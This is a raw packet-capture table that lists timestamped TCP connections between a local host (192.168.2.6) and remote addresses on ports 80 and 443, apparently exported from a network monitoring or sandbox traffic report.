Nov 11, 2024 12:40:27.285412073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285413980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285424948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285428047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285439968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285450935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285461903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285465002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285480976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285495996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285501003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285509109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285520077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285523891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285532951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285545111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285557985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.285559893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285578012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.285599947 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.286081076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.286093950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.286107063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.286144972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.286181927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.348381042 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.348850012 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.348875046 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.349375010 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.349381924 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.349704981 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.349767923 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.350011110 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.350023985 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.350341082 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.350363016 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.350524902 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.350532055 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.350842953 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.350848913 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.352157116 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.352463007 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.352473974 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.352766037 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.352906942 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.352910042 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.353293896 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.353302002 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.353971004 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.353974104 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.363084078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.363140106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398087978 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398108959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398121119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398133993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398139954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398147106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398159027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398160934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398170948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398221970 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398257017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398271084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398282051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398293018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398303032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398298979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398315907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398332119 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398358107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398545980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398557901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398575068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398586988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398595095 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398606062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398622036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398627043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398642063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398648977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398654938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398669958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398673058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398699999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398715019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398726940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398737907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398740053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398751020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.398772955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.398804903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399534941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399549007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399563074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399588108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399589062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399600029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399615049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399630070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399630070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399657011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399667025 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399674892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399687052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399698019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399710894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399720907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399724007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399736881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.399754047 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.399777889 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.402461052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402473927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402484894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402520895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402533054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402543068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402549982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.402549982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.402554035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.402586937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.402611971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403045893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403083086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403095007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403126001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403147936 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403259993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403283119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403294086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403304100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403321028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403322935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403345108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403356075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403359890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403367996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403368950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403379917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403397083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403397083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403409958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403422117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403434992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403433084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403448105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403451920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403460026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403471947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403479099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403486013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403493881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403496981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403521061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403522015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403543949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403548956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403557062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403568983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403574944 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403587103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403598070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403609037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403611898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403620005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403623104 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403631926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403644085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403656006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403656960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403666973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403677940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403677940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403691053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403702021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403706074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403712988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403726101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403737068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403738022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403749943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403753996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403763056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.403769016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403788090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.403817892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.441407919 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.584821939 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.584846020 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.585051060 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.585066080 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.585074902 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.585284948 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.585323095 CET	443	49865	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.585372925 CET	49865	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.587742090 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.587784052 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.587944031 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.588062048 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.588073015 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.783710957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.783731937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.783788919 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.783814907 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.783828974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.783853054 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.783875942 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.783894062 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.783915997 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.784003973 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784024954 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784069061 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.784076929 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784112930 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.784250975 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784318924 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784444094 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.784565926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784610033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784631014 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.784652948 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784662008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784672976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784673929 CET	49863	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.784678936 CET	443	49863	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.784683943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784691095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784697056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784703016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784708023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784714937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784723997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784728050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784739971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784750938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784759045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784764051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784775972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784775972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784789085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784792900 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784801960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784813881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784817934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784826040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784838915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784845114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784851074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784862995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784868956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784873962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784887075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784897089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784900904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784909010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784920931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784930944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784934998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784943104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784946918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784955025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784966946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.784971952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.784980059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785001040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785016060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785125971 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.785137892 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.785150051 CET	49866	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.785155058 CET	443	49866	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.785185099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785197020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785209894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785227060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785233021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785237074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785245895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785254002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785260916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785263062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785283089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785320997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785345078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785356998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785367966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785388947 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785399914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785433054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785659075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785665989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785697937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785707951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785711050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785722971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785734892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785744905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785748005 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785757065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785759926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785768032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785779953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785784006 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785792112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785804033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785809040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785815001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785824060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785828114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785840034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785851002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.785854101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.785876989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.786508083 CET	443	49868	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.786570072 CET	49868	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.787513018 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.787525892 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.787563086 CET	49867	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.787568092 CET	443	49867	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.787708044 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.787714958 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.787723064 CET	49864	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.787725925 CET	443	49864	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.788873911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:27.788923979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:27.792350054 CET	443	49869	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.792601109 CET	49869	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.792608976 CET	443	49869	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.792923927 CET	443	49869	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.794043064 CET	49869	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:27.794097900 CET	443	49869	23.209.72.39	192.168.2.6
Nov 11, 2024 12:40:27.810719967 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.810730934 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.810802937 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.812283993 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.812308073 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.812372923 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.813409090 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.813441038 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.813575029 CET	49876	443	192.168.2.6	13.107.246.45
